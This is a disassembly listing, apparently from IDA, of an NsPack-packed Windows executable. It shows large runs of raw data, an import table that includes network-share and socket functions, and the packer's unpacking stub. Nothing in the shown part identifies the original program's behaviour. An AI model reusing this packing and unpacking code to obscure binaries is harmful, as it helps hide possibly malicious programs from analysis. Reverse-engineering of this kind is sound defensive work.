		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DE2E0	db 0			; DATA XREF: sub_41CA89+5Co
					; sub_41CA89+AFo ...
byte_4DE2E1	db 0			; DATA XREF: sub_418731+5Dr
					; sub_41CA89+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DE3E4	dd 0			; DATA XREF: sub_41CA89+6Ew
					; sub_41CA89+12Bw ...
dword_4DE3E8	dd 0			; DATA XREF: sub_41AA0F+3Cw
					; sub_41B0B4+5r ...
dword_4DE3EC	dd 0			; DATA XREF: sub_41AA82+23Ar
					; sub_41AA82+25Ar ...
dword_4DE3F0	dd 0			; DATA XREF: sub_41AA0F+31w
					; sub_41AA82+311w ...
dword_4DE3F4	dd 0			; DATA XREF: sub_41AA0F+21w
					; sub_41AA82+22Dr ...
dword_4DE3F8	dd 0			; DATA XREF: sub_41AA0F+28w
					; sub_41AA57r ...
dword_4DE3FC	dd 0			; DATA XREF: sub_41AA0F+15w
					; sub_41AA57+8r ...
dword_4DE400	dd 0			; DATA XREF: sub_417F62+5Cr
					; sub_418273+Fr ...
dword_4DE404	dd 940000h		; DATA XREF: sub_417E11+5Ar
					; sub_417F62+C0r ...
dword_4DE408	dd 1			; DATA XREF: sub_417E11+Cr
					; sub_417F62:loc_417F92r ...
dword_4DE40C	dd 142340h		; DATA XREF: sub_41A513+7Aw
					; sub_41F989+Fr ...
dword_4DE410	dd 1			; DATA XREF: sub_41F9E1+ADw
					; sub_4226D7r
dword_4DE414	dd 1			; DATA XREF: sub_41CE4Dr
					; sub_41CE4D+11w ...
dword_4DE418	dd 940764h		; DATA XREF: sub_418533+3Er
					; sub_419D33+13r ...
dword_4DE41C	dd 940758h		; DATA XREF: sub_418533+35r
					; sub_418533+57r ...
byte_4DE420	db 1			; DATA XREF: sub_423394+15r
					; sub_423394+1Ew
		align 4
		dd 2F7h	dup(0)
		dd 81h,	0
		dd 24000h, 0D02E6824h, 0E79C6C92h, 2EF9EB66h, 0E1313D06h
		dd 84B1E102h, 6F205F9h,	0B863B503h, 37E6FC99h, 7D56B728h
		dd 93AB9613h, 0EB1AC45Bh, 0FDD8FE34h, 49573C4Ch, 75061F00h
		dd 3782DE8Ch, 90E3B4ACh, 0EF06067Ah, 9E67BFAAh,	51596881h
		dd 60895BFCh, 76906F14h, 0D9E21A97h, 2ECE2418h,	971A2465h
		dd 3D3EF82Fh, 86387A08h, 34260B5Eh, 3F9F960Ah, 677E7A1h
		dd 1200h, 0D00h, 241C400h, 0B2ACCB00h, 26001371h, 15000000h
		dd 0CC000000h, 22000241h, 0DA361C46h, 8DE2CE5Ah, 8D5D4601h
		dd 0F4226D90h, 0F87E7B90h, 571AB12h, 4 dup(0)
		dd 6C694600h, 6D695465h, 536F5465h, 65747379h, 6D69546Dh
		dd 74655365h, 69766E45h, 6D6E6F72h, 56746E65h, 61697261h
		dd 41656C62h, 706D6F43h, 53657261h, 6E697274h, 6F435767h
		dd 7261706Dh, 72745365h, 41676E69h, 45746553h, 664F646Eh
		dd 656C6946h, 61427349h, 646F4364h, 72745065h, 61427349h
		dd 61655264h, 72745064h, 55746553h, 6E61686Eh, 64656C64h
		dd 65637845h, 6F697470h, 6C69466Eh, 47726574h, 74537465h
		dd 676E6972h, 65707954h, 74654757h, 69727453h, 7954676Eh
		dd 46416570h, 6873756Ch, 656C6946h, 66667542h, 53737265h
		dd 74537465h, 6E614864h, 47656C64h, 69467465h, 7954656Ch
		dd 65476570h, 64745374h, 646E6148h, 6553656Ch, 6E614874h
		dd 43656C64h, 746E756Fh, 45746547h, 7269766Eh, 656D6E6Fh
		dd 7453746Eh, 676E6972h, 65475773h, 766E4574h, 6E6F7269h
		dd 746E656Dh, 69727453h, 4673676Eh, 45656572h, 7269766Eh
		dd 656D6E6Fh, 7453746Eh, 676E6972h, 72465773h, 6E456565h
		dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 686E5541h
		dd 6C646E61h, 78456465h, 74706563h, 466E6F69h, 65746C69h
		dd 4D434C72h, 74537061h, 676E6972h, 4D434C57h, 74537061h
		dd 676E6972h, 61654841h, 7A695370h, 69615265h, 78456573h
		dd 74706563h, 476E6F69h, 454F7465h, 4550434Dh, 50746978h
		dd 65636F72h, 6C437373h, 4865736Fh, 6C646E61h, 65724365h
		dd 50657461h, 65636F72h, 47417373h, 6F4D7465h, 656C7564h
		dd 656C6946h, 656D614Eh, 74654741h, 74737953h, 69446D65h
		dd 74636572h, 4179726Fh, 65656C53h, 65724370h, 54657461h
		dd 61657268h, 6C654464h, 46657465h, 41656C69h, 6E65704Fh
		dd 636F7250h, 47737365h, 75437465h, 6E657272h, 6F725074h
		dd 73736563h, 65476449h, 73614C74h, 72724574h, 6F43726Fh
		dd 69467970h, 5341656Ch, 69467465h, 7441656Ch, 62697274h
		dd 73657475h, 74654741h, 656C6946h, 72747441h, 74756269h
		dd 47417365h, 6F4D7465h, 656C7564h, 646E6148h, 5741656Ch
		dd 46746961h, 6953726Fh, 656C676Eh, 656A624Fh, 72437463h
		dd 65746165h, 6574754Dh, 65474178h, 63695474h, 756F436Bh
		dd 6554746Eh, 6E696D72h, 54657461h, 61657268h, 74654764h
		dd 706D6554h, 68746150h, 766F4D41h, 6C694665h, 6F4C4165h
		dd 694C6461h, 72617262h, 65474179h, 6F725074h, 64644163h
		dd 73736572h, 43746547h, 75706D6Fh, 4E726574h, 41656D61h
		dd 4C746547h, 6C61636Fh, 666E4965h, 6547416Fh, 72655674h
		dd 6E6F6973h, 45417845h, 54746978h, 61657268h, 61654C64h
		dd 72436576h, 63697469h, 65536C61h, 6F697463h, 746E456Eh
		dd 72437265h, 63697469h, 65536C61h, 6F697463h, 696E496Eh
		dd 6C616974h, 43657A69h, 69746972h, 536C6163h, 69746365h
		dd 6E416E6Fh, 69705364h, 756F436Eh, 6544746Eh, 6574656Ch
		dd 74697243h, 6C616369h, 74636553h, 576E6F69h, 65746972h
		dd 656C6946h, 61657243h, 76456574h, 41746E65h, 64616552h
		dd 656C6946h, 61657243h, 69466574h, 5441656Ch, 736E6172h
		dd 4E746361h, 64656D61h, 65706950h, 6D726554h, 74616E69h
		dd 6F725065h, 73736563h, 6C707544h, 74616369h, 6E614865h
		dd 47656C64h, 75437465h, 6E657272h, 6F725074h, 73736563h
		dd 61657243h, 69506574h, 65476570h, 6D695474h, 726F4665h
		dd 4174616Dh, 44746547h, 46657461h, 616D726Fh, 65474174h
		dd 6C694674h, 7A695365h, 6E694665h, 6F6C4364h, 69466573h
		dd 6954656Ch, 6F54656Dh, 61636F4Ch, 6C69466Ch, 6D695465h
		dd 6E694665h, 78654E64h, 6C694674h, 69464165h, 6946646Eh
		dd 46747372h, 41656C69h, 46746553h, 50656C69h, 746E696Fh
		dd 65537265h, 6E6F4374h, 656C6F73h, 6C727443h, 646E6148h
		dd 5772656Ch, 46746961h, 754D726Fh, 7069746Ch, 624F656Ch
		dd 7463656Ah, 6E654773h, 74617265h, 6E6F4365h, 656C6F73h
		dd 6C727443h, 6E657645h, 65755174h, 65507972h, 726F6672h
		dd 636E616Dh, 756F4365h, 7265746Eh, 72657551h, 72655079h
		dd 6D726F66h, 65636E61h, 71657246h, 636E6575h, 74654779h
		dd 61636F4Ch, 6D69546Ch, 726F4665h, 4D74616Dh, 61737365h
		dd 47416567h, 61626F6Ch, 6C6E556Ch, 476B636Fh, 61626F6Ch
		dd 636F4C6Ch, 6D6E556Bh, 69567061h, 664F7765h, 656C6946h
		dd 5670614Dh, 4F776569h, 6C694666h, 65724365h, 46657461h
		dd 4D656C69h, 69707061h, 5341676Eh, 69467465h, 6954656Ch
		dd 6547656Dh, 6C694674h, 6D695465h, 70784565h, 45646E61h
		dd 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h, 72464173h
		dd 694C6565h, 72617262h, 64695779h, 61684365h, 4D6F5472h
		dd 69746C75h, 65747942h, 746C754Dh, 74794269h, 576F5465h
		dd 43656469h, 6C726168h, 63727473h, 4169706Dh, 45746547h
		dd 43746978h, 5065646Fh, 65636F72h, 65507373h, 614E6B65h
		dd 5064656Dh, 47657069h, 61626F6Ch, 6D654D6Ch, 5379726Fh
		dd 75746174h, 61654873h, 65724670h, 61654865h, 41655270h
		dd 636F6C6Ch, 70616548h, 6F6C6C41h, 6C745263h, 69776E55h
		dd 6547646Eh, 6D695474h, 6E6F5A65h, 666E4965h, 616D726Fh
		dd 6E6F6974h, 53746547h, 65747379h, 6D69546Dh, 74654765h
		dd 72617453h, 49707574h, 416F666Eh, 43746547h, 616D6D6Fh
		dd 694C646Eh, 4741656Eh, 65567465h, 6F697372h, 7465476Eh
		dd 69766E45h, 6D6E6F72h, 56746E65h, 61697261h, 41656C62h
		dd 70616548h, 74736544h, 48796F72h, 43706165h, 74616572h
		dd 72695665h, 6C617574h, 65657246h, 74726956h, 416C6175h
		dd 636F6C6Ch, 61427349h, 69725764h, 74506574h, 74654772h
		dd 6E495043h, 65476F66h, 50434174h, 74654E57h, 43646441h
		dd 656E6E6Fh, 6F697463h, 0FF41326Eh, 80000007h,	0FFFh
		dd 0CFF80h, 74FF8000h, 0FF800000h, 80000073h, 0AFFh, 2FF80h
		dd 0DFF8000h, 0FF800000h, 80000001h, 53415357h,	656B636Fh
		dd 9FF4174h, 0FF800000h, 80000004h, 15FFh, 10FF80h, 3FF8000h
		dd 0FF800000h, 80000017h, 13FFh, 12FF80h, 97FF8000h, 0FF800000h
		dd 80000006h, 0BFFh, 80h, 210h dup(0)
_nsp0		ends

; Section 2. (virtual address 000E0000)
; Virtual size			: 00019000 ( 102400.)
; Section size in file		: 00019000 ( 102400.)
; Offset to raw	data for section: 000E0000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp1		segment	para public 'CODE' use32
		assume cs:_nsp1
		;org 4E0000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
		dd 906h, 0
		dd 0DF000h, 0
		dd 40h,	0
		dd 71AB0000h, 7	dup(0)
		dd 940000h, 0
		dd offset sub_401000
		align 8
		dd 0E97h
		db 3 dup(0)
byte_4E004F	db 0			; DATA XREF: .nsp0:00435A2Do
					; .nsp0:0043625Do
		dd 111h, 6 dup(0)
		dd 2, 160h, 2 dup(0)
		dd 1, 0
		dd offset sub_401000
		dd 0
		dd 181ECh, 3 dup(0)
		dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E7980Ah, 77E79E34h
		dd 77E75CB5h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h, 4	dup(0)
		dd 0E0118h, 0E009Ch, 3 dup(0)
		dd 0E0125h, 0E00B8h, 3 dup(0)
		dd 0E012Dh, 0E00C0h, 5 dup(0)
		db  4Bh	; K
		db 45h,	52h, 4Eh
		db  45h	; E
		db 4Ch,	33h, 32h
		db  2Eh	; .
		dd offset dword_4B5248+0F9FCh
		db 4Dh,	50h, 52h
		db  2Eh	; .
		dd offset dword_4B5248+0F9FCh
		db 57h,	53h, 32h
		db  5Fh	; _
		db 33h,	32h, 2Eh
		dd offset dword_4B5248+0F9FCh
		db    0
		align 2
aLoadlibrarya	db 'LoadLibraryA',0
		align 4
		db    0
aGetprocaddress	db 'GetProcAddress',0
		db    0
		align 2
aVirtualprotect	db 'VirtualProtect',0
		db 2 dup(0), 56h
aIrtualalloc	db 'irtualAlloc',0
		db    0
		align 2
aVirtualfree	db 'VirtualFree',0
		align 4
aExitprocess	db 'ExitProcess',0
		db    0
		align 2
aWnetaddconne_1	db 'WNetAddConnection2A',0
		align 4
		dd 2002h, 2260000h, 100000h, 200h, 1C7800h, 2400000h, 8BB3EB00h
		dd 0E544D0C7h
		db 0DEh

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

; FUNCTION CHUNK AT 004E058D SIZE 00000009 BYTES

		pushf
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7
		lea	ecx, [ebp-151h]
		cmp	byte ptr [ecx],	1
		jz	loc_4E0429
		mov	byte ptr [ecx],	1
		mov	eax, ebp
		sub	eax, [ebp-1BDh]
		mov	[ebp-1BDh], eax
		add	[ebp-18Dh], eax
		lea	esi, [ebp-149h]
		add	[esi], eax
		push	ebp
		push	esi
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp-125h]
		test	eax, eax
		jz	loc_4E058D
		mov	[ebp-195h], eax
		call	$+5
		pop	ebx
		mov	ecx, 367h
		add	ebx, ecx
		push	eax
		push	ebx
		call	sub_4E04EE
		pop	esi
		pop	ebp
		mov	esi, [esi]
		mov	edi, ebp
		add	edi, [ebp-1CDh]
		mov	ebx, edi
		cmp	dword ptr [edi], 0
		jnz	short loc_4E025B
		add	edi, 4
		mov	ecx, 0
		jmp	short loc_4E0271
; ---------------------------------------------------------------------------


loc_4E025B:				; CODE XREF: start+82j
		mov	ecx, 1
		add	edi, [ebx]
		add	ebx, 4


loc_4E0265:				; CODE XREF: start+CFj
		cmp	dword ptr [ebx], 0
		jz	short loc_4E029E
		add	[ebx], edx
		mov	esi, [ebx]
		add	edi, [ebx+4]


loc_4E0271:				; CODE XREF: start+8Cj
		push	edi
		push	ecx
		push	ebx
		push	dword ptr [ebp-121h]
		push	dword ptr [ebp-125h]
		mov	edx, esi
		mov	ecx, edi
		mov	eax, [ebp-195h]
		add	eax, 5AAh
		call	eax
		pop	ebx
		pop	ecx
		pop	edi
		cmp	ecx, 0
		jz	short loc_4E029E
		add	ebx, 8
		jmp	short loc_4E0265
; ---------------------------------------------------------------------------


loc_4E029E:				; CODE XREF: start+9Bj	start+CAj
		push	8000h
		push	0
		push	dword ptr [ebp-195h]
		call	dword ptr [ebp-121h]
		lea	esi, [ebp-18Dh]
		mov	ecx, [esi+8]
		lea	edx, [esi+10h]
		mov	esi, [esi]
		mov	edi, esi
		cmp	ecx, 0
		jz	short loc_4E0305


loc_4E02C6:				; CODE XREF: start+100j start+10Ej
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_4E02CB:				; CODE XREF: start+136j
		cmp	al, 1
		ja	short loc_4E02C6
		mov	eax, [edi]
		cmp	byte ptr [edx+1], 0
		jz	short loc_4E02EB
		mov	bl, [edx]
		cmp	[edi], bl
		jnz	short loc_4E02C6
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		jmp	short loc_4E02F5
; ---------------------------------------------------------------------------


loc_4E02EB:				; CODE XREF: start+108j
		mov	bl, [edi+4]
		xchg	al, ah
		rol	eax, 10h
		xchg	al, ah


loc_4E02F5:				; CODE XREF: start+11Cj
		sub	eax, edi
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		sub	bl, 0E8h
		mov	eax, ebx
		loop	loc_4E02CB


loc_4E0305:				; CODE XREF: start+F7j
		call	sub_4E0444
		lea	ecx, [ebp-179h]
		mov	eax, [ecx+8]
		cmp	eax, 0
		jz	loc_4E039D
		mov	esi, edx
		sub	esi, [ecx+10h]
		jz	short loc_4E039D
		mov	[ecx+10h], esi
		lea	esi, [ebp-149h]
		mov	esi, [esi]
		lea	ebx, [esi-4]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_4E0342
		mov	edi, edx
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]
		jmp	short loc_4E034A
; ---------------------------------------------------------------------------


loc_4E0342:				; CODE XREF: start+169j
		mov	edi, esi
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]


loc_4E034A:				; CODE XREF: start+173j start+18Ej
		xor	eax, eax
		mov	al, [edi]
		inc	edi
		or	eax, eax
		jz	short loc_4E0373
		cmp	al, 0EFh
		ja	short loc_4E035D


loc_4E0357:				; CODE XREF: start+19Dj start+1A4j
		add	ebx, eax
		add	[ebx], ecx
		jmp	short loc_4E034A
; ---------------------------------------------------------------------------


loc_4E035D:				; CODE XREF: start+188j
		and	al, 0Fh
		shl	eax, 10h
		mov	ax, [edi]
		add	edi, 2
		or	eax, eax
		jnz	short loc_4E0357
		mov	eax, [edi]
		add	edi, 4
		jmp	short loc_4E0357
; ---------------------------------------------------------------------------


loc_4E0373:				; CODE XREF: start+184j
		xor	ebx, ebx
		xchg	edi, esi
		mov	eax, [esi]
		cmp	eax, 0
		jz	short loc_4E039D


loc_4E037E:				; CODE XREF: start+1BCj
		lodsd
		or	eax, eax
		jz	short loc_4E038B
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_4E037E
; ---------------------------------------------------------------------------


loc_4E038B:				; CODE XREF: start+1B4j
		xor	ebx, ebx
		shr	ecx, 10h


loc_4E0390:				; CODE XREF: start+1CEj
		lodsd
		or	eax, eax
		jz	short loc_4E039D
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_4E0390
; ---------------------------------------------------------------------------


loc_4E039D:				; CODE XREF: start+149j start+154j ...
		lea	esi, [ebp-1BDh]
		mov	edx, [esi]
		lea	esi, [ebp-161h]
		mov	al, [esi]
		cmp	al, 1
		jnz	short loc_4E03F0
		add	edx, [esi+4]
		push	esi
		push	edx
		push	esi
		push	4
		push	100h
		push	edx
		call	dword ptr [ebp-129h]
		pop	edi
		pop	esi
		cmp	eax, 1
		jnz	loc_4E058D
		add	esi, 8
		mov	ecx, 8
		rep movsb
		sub	esi, 0Ch
		sub	edi, 8
		push	esi
		push	dword ptr [esi-4]
		push	100h
		push	edi
		call	dword ptr [ebp-129h]


loc_4E03F0:				; CODE XREF: start+1E2j
		push	ebp
		pop	ebx
		sub	ebx, 21h
		xor	ecx, ecx
		mov	cl, [ebx]
		cmp	cl, 0
		jz	short loc_4E0429
		inc	ebx
		lea	esi, [ebp-1BDh]
		mov	edx, [esi]


loc_4E040A:				; CODE XREF: start+25Aj
		push	esi
		push	ecx
		push	ebx
		push	edx
		push	esi
		push	dword ptr [ebx]
		push	dword ptr [ebx+4]
		mov	eax, [ebx+8]
		add	eax, edx
		push	eax
		call	dword ptr [ebp-129h]
		pop	edx
		pop	ebx
		pop	ecx
		pop	esi
		add	ebx, 0Ch
		loop	loc_4E040A


loc_4E0429:				; CODE XREF: start+14j	start+232j
		mov	eax, 0
		cmp	eax, 0
		jz	short loc_4E043D
		popa
		popf
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4E043D:				; CODE XREF: start+264j
		popa
		popf
		jmp	sub_41A513
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_4E0444	proc near		; CODE XREF: start:loc_4E0305p
		mov	esi, [ebp-1C5h]
		or	esi, esi
		jz	loc_4E04E9
		mov	edx, [ebp-1BDh]
		add	esi, edx


loc_4E045A:				; CODE XREF: sub_4E0444+61j
		cmp	dword ptr [esi], 0
		jnz	short loc_4E046D
		cmp	dword ptr [esi+4], 0
		jnz	short loc_4E046D
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4E046D
		jmp	short loc_4E04E7
; ---------------------------------------------------------------------------


loc_4E046D:				; CODE XREF: sub_4E0444+19j
					; sub_4E0444+1Fj ...
		mov	ebx, [esi+8]
		add	ebx, edx
		push	ebx
		push	edx
		push	esi
		lea	edi, [ebp-0B5h]
		add	edi, [esi+4]
		add	esi, 0Ch
		push	edi
		call	dword ptr [ebp-131h]
		pop	edi
		pop	edx
		pop	ebx
		cmp	eax, 0
		jz	short loc_4E04E9
		mov	[ebp-1B5h], eax
		add	edi, [esi]
		add	esi, 4


loc_4E049B:				; CODE XREF: sub_4E0444+A1j
		xor	ecx, ecx
		mov	cl, [esi]
		cmp	ecx, 0
		jnz	short loc_4E04A7
		inc	esi
		jmp	short loc_4E045A
; ---------------------------------------------------------------------------


loc_4E04A7:				; CODE XREF: sub_4E0444+5Ej
		mov	eax, edi
		add	edi, ecx
		push	edx
		push	ebx
		push	eax
		cmp	byte ptr [eax],	0FFh
		jnz	short loc_4E04BB
		inc	eax
		mov	eax, [eax]
		and	eax, 7FFFFFFFh


loc_4E04BB:				; CODE XREF: sub_4E0444+6Dj
		mov	cl, [edi]
		mov	byte ptr [edi],	0
		push	ecx
		push	eax
		push	dword ptr [ebp-1B5h]
		call	dword ptr [ebp-12Dh]
		pop	ecx
		pop	edx
		pop	ebx
		pop	edx
		cmp	eax, 0
		jz	short loc_4E04E9
		mov	[edi], cl
		mov	[esi-4], eax
		push	dword ptr [esi-4]
		pop	dword ptr [ebx]
		add	ebx, 4
		inc	esi
		jmp	short loc_4E049B
; ---------------------------------------------------------------------------


loc_4E04E7:				; CODE XREF: sub_4E0444+27j
		clc
		retn
; ---------------------------------------------------------------------------


loc_4E04E9:				; CODE XREF: sub_4E0444+8j
					; sub_4E0444+4Aj ...
		jmp	loc_4E058D
sub_4E0444	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4E04EE	proc near		; CODE XREF: start+6Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004E0589 SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		cld
		mov	dl, 80h


loc_4E04FA:				; CODE XREF: sub_4E04EE+12j
		movsb


loc_4E04FB:				; CODE XREF: sub_4E04EE+34j
					; sub_4E04EE+7Dj
		call	sub_4E056D
		jnb	short loc_4E04FA
		xor	ecx, ecx
		call	sub_4E056D
		jnb	short loc_4E0524
		xor	eax, eax
		call	sub_4E056D
		jnb	short loc_4E0535
		mov	al, 10h


loc_4E0516:				; CODE XREF: sub_4E04EE+2Fj
		call	sub_4E056D
		adc	al, al
		jnb	short loc_4E0516
		jnz	short loc_4E0562
		stosb
		jmp	short loc_4E04FB
; ---------------------------------------------------------------------------


loc_4E0524:				; CODE XREF: sub_4E04EE+1Bj
		call	sub_4E0579
		dec	ecx
		loop	loc_4E0541
		mov	eax, ebp
		call	sub_4E0577
		jmp	short loc_4E0563
; ---------------------------------------------------------------------------


loc_4E0535:				; CODE XREF: sub_4E04EE+24j
		lodsb
		shr	eax, 1
		jz	short loc_4E0589
		adc	ecx, 2
		mov	ebp, eax
		jmp	short loc_4E0563
; ---------------------------------------------------------------------------


loc_4E0541:				; CODE XREF: sub_4E04EE+3Cj
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		mov	ebp, eax
		call	sub_4E0577
		cmp	eax, 7D00h
		jnb	short loc_4E0561
		cmp	eax, 500h
		jnb	short loc_4E0562
		cmp	eax, 7Fh
		ja	short loc_4E0563


loc_4E0561:				; CODE XREF: sub_4E04EE+65j
		inc	ecx


loc_4E0562:				; CODE XREF: sub_4E04EE+31j
					; sub_4E04EE+6Cj
		inc	ecx


loc_4E0563:				; CODE XREF: sub_4E04EE+45j
					; sub_4E04EE+51j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_4E04FB
sub_4E04EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4E056D	proc near		; CODE XREF: sub_4E04EE:loc_4E04FBp
					; sub_4E04EE+16p ...
		add	dl, dl
		jnz	short locret_4E0576
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_4E0576:				; CODE XREF: sub_4E056D+2j
		retn
sub_4E056D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4E0577	proc near		; CODE XREF: sub_4E04EE+40p
					; sub_4E04EE+5Bp
		xor	ecx, ecx
sub_4E0577	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4E0579	proc near		; CODE XREF: sub_4E04EE:loc_4E0524p
		inc	ecx


loc_4E057A:				; CODE XREF: sub_4E0579+Dj
		call	sub_4E056D
		adc	ecx, ecx
		call	sub_4E056D
		jb	short loc_4E057A
		retn
sub_4E0579	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4E04EE


loc_4E0589:				; CODE XREF: sub_4E04EE+4Aj
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_4E04EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E058D:				; CODE XREF: start+51j	start+1FDj ...
		push	0
		call	dword ptr [ebp-11Dh]
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
		mov	edx, [ecx]
		cmp	edx, [ecx+4]
		jnz	short loc_4E05A9
		mov	dword ptr [ecx+eax*2], 2300110h
		or	al, 0FFh
		retn
; ---------------------------------------------------------------------------


loc_4E05A9:				; CODE XREF: .nsp1:004E059Dj
		pop	es
		mov	al, [edx]
		inc	edx
		mov	[ecx], edx
		pusha
		mov	eax, [esp+4]
		sbb	al, 83h
		popa
		adc	[ebx], dh
		or	[ebx+eax*4], cl
		push	esi
		push	ds
		and	[ebx], al
		rol	byte ptr [ecx+49h], 1
		or	bh, bh
		push	5
		jmp	short loc_4E05D8
; ---------------------------------------------------------------------------
		db 58h,	5Eh, 0E8h
		dd 8B0239C9h, 0F0CE4h, 0E2C1C0B6h
; ---------------------------------------------------------------------------


loc_4E05D8:				; CODE XREF: .nsp1:004E05C7j
		or	[ebx], cl
		retn	3E4Eh
; ---------------------------------------------------------------------------
		db 89h,	41h, 0Fh
		dd 0E5EEA75h, 56530004h, 708718Bh, 0D285DB33h, 0C798057h
		dd 55762C7Eh, 0EED1EA1Ch, 0FE3BE380h, 0E82B0572h, 1CB1D83h
		dd 60C57781h, 0E6C11073h, 85E8081Ah, 0E7418489h, 754DF800h
		dd 89675DD8h, 7A4C5F62h, 0C38B1C5Eh, 0F28CB35Bh, 57614F97h
		dd 0DC39B70Fh, 0E83CC1C2h, 0C7AF1E0Bh, 3B0C7E00h, 314073F8h
		dd 0C0BC4689h, 8E01F566h, 1EBFD034h, 0FA2B98F0h, 5FF00C1h
		dd 8966F803h, 7E7F8139h, 8B195CA8h, 2AE8CE14h, 644E889Fh
		dd 0BA381DE1h, 72DFF166h, 42EB0EE0h, 0F84FD02Bh, 0D789566Dh
		dd 0C8FA06Fh, 0E6D00AD2h, 9EEA50C1h, 0A386DFC2h, 1FFEE742h
		dd 5E5F4002h, 0ECD681C3h, 16BB5351h, 8594DA3Eh,	0F901E8DBh
		dd 5D891A7Eh, 55B240FCh, 34708D08h, 3E180CE6h, 3FD3FE8h
		dd 0C4DE6C6h, 5EEB75FCh, 8B0242C2h, 5FE2D3CBh, 95C9045Bh
		dd 763A191Fh, 9CF8DD89h, 0FFC35730h, 0C97D3942h, 0A8FBD98Bh
		dd 65207EFCh, 3127856h,	0E81E0C42h, 0CFBD2385h,	0D30614D0h
		dd 4509E003h, 123B47FCh, 1BE27C48h, 88241415h, 0F26D61C9h
		dd 0ECDAE899h, 0E46E4940h, 0CF54E8D3h, 0C6380BABh, 14BE493Dh
		dd 2B9FEA7Ch, 5035A05Bh, 0FCD29C19h, 0C4435294h, 0B808751Bh
		dd 0D865D0D1h, 70EEEC1h, 0CF01468Dh, 0C30326E0h, 0E8471B76h
		dd 0DBD07396h, 3B02D80Bh, 811C75F0h, 0D340A1FBh, 57B21AEBh
		dd 0E8221BB6h, 8B59A276h, 0E61C99D8h, 0C38AB88Ah, 0E566585h
		dd 0F147FA82h, 85417CE8h, 1675C013h, 570C2A46h,	6A0403ACh
		dd 304C8D03h, 0DCE85AB0h, 3BEB31C7h, 8B024EC0h,	0A832F8D7h
		dd 65755724h, 22104B1Bh, 9F0D8C24h, 1B54E91h, 0EB08C083h
		dd 0F8406A11h, 0A102048Eh, 100CA213h, 2C67D2D2h, 0F9384ABEh
		dd 544E0813h, 0C4D41F1h, 3324C803h, 0F1B87047h,	3D1A52A4h
		dd 0EBDCC928h, 0C8F44DCCh, 0E528E806h, 0D6D210E6h, 414B661Ah
		dd 690F84Dh, 3F020ECh, 5E7D3E4h, 5A050736h, 4F4ADB32h
		dd 390CCE1Ch, 6055604Dh, 73DC2E10h, 20D6A08h, 0E1A0E958h
		dd 40769842h, 0F9D1C875h, 2FDCA8B7h, 0ABF3FE20h, 6661C913h
		dd 1875FF0Ah, 2140320h,	0E8C84D8Dh, 8EA3FCFAh, 0F80207Dh
		dd 5DD47086h, 2310128Ah, 0D8208619h, 60DE89C1h,	0A3668518h
		dd 42F4EA13h, 42061AAh,	73C29B46h, 6455624Eh, 1246FD44h
		dd 0DC827662h, 80474223h, 2A08B1A5h, 8020E74Dh,	0A3A590C3h
		dd 0A100C59Ch, 48DC203h, 1D059040h, 0E4FF8309h,	0E6C8806h
		dd 87067D0Fh, 0EB03F465h, 0A243D10h, 0EF9E05BAh, 0A65B903h
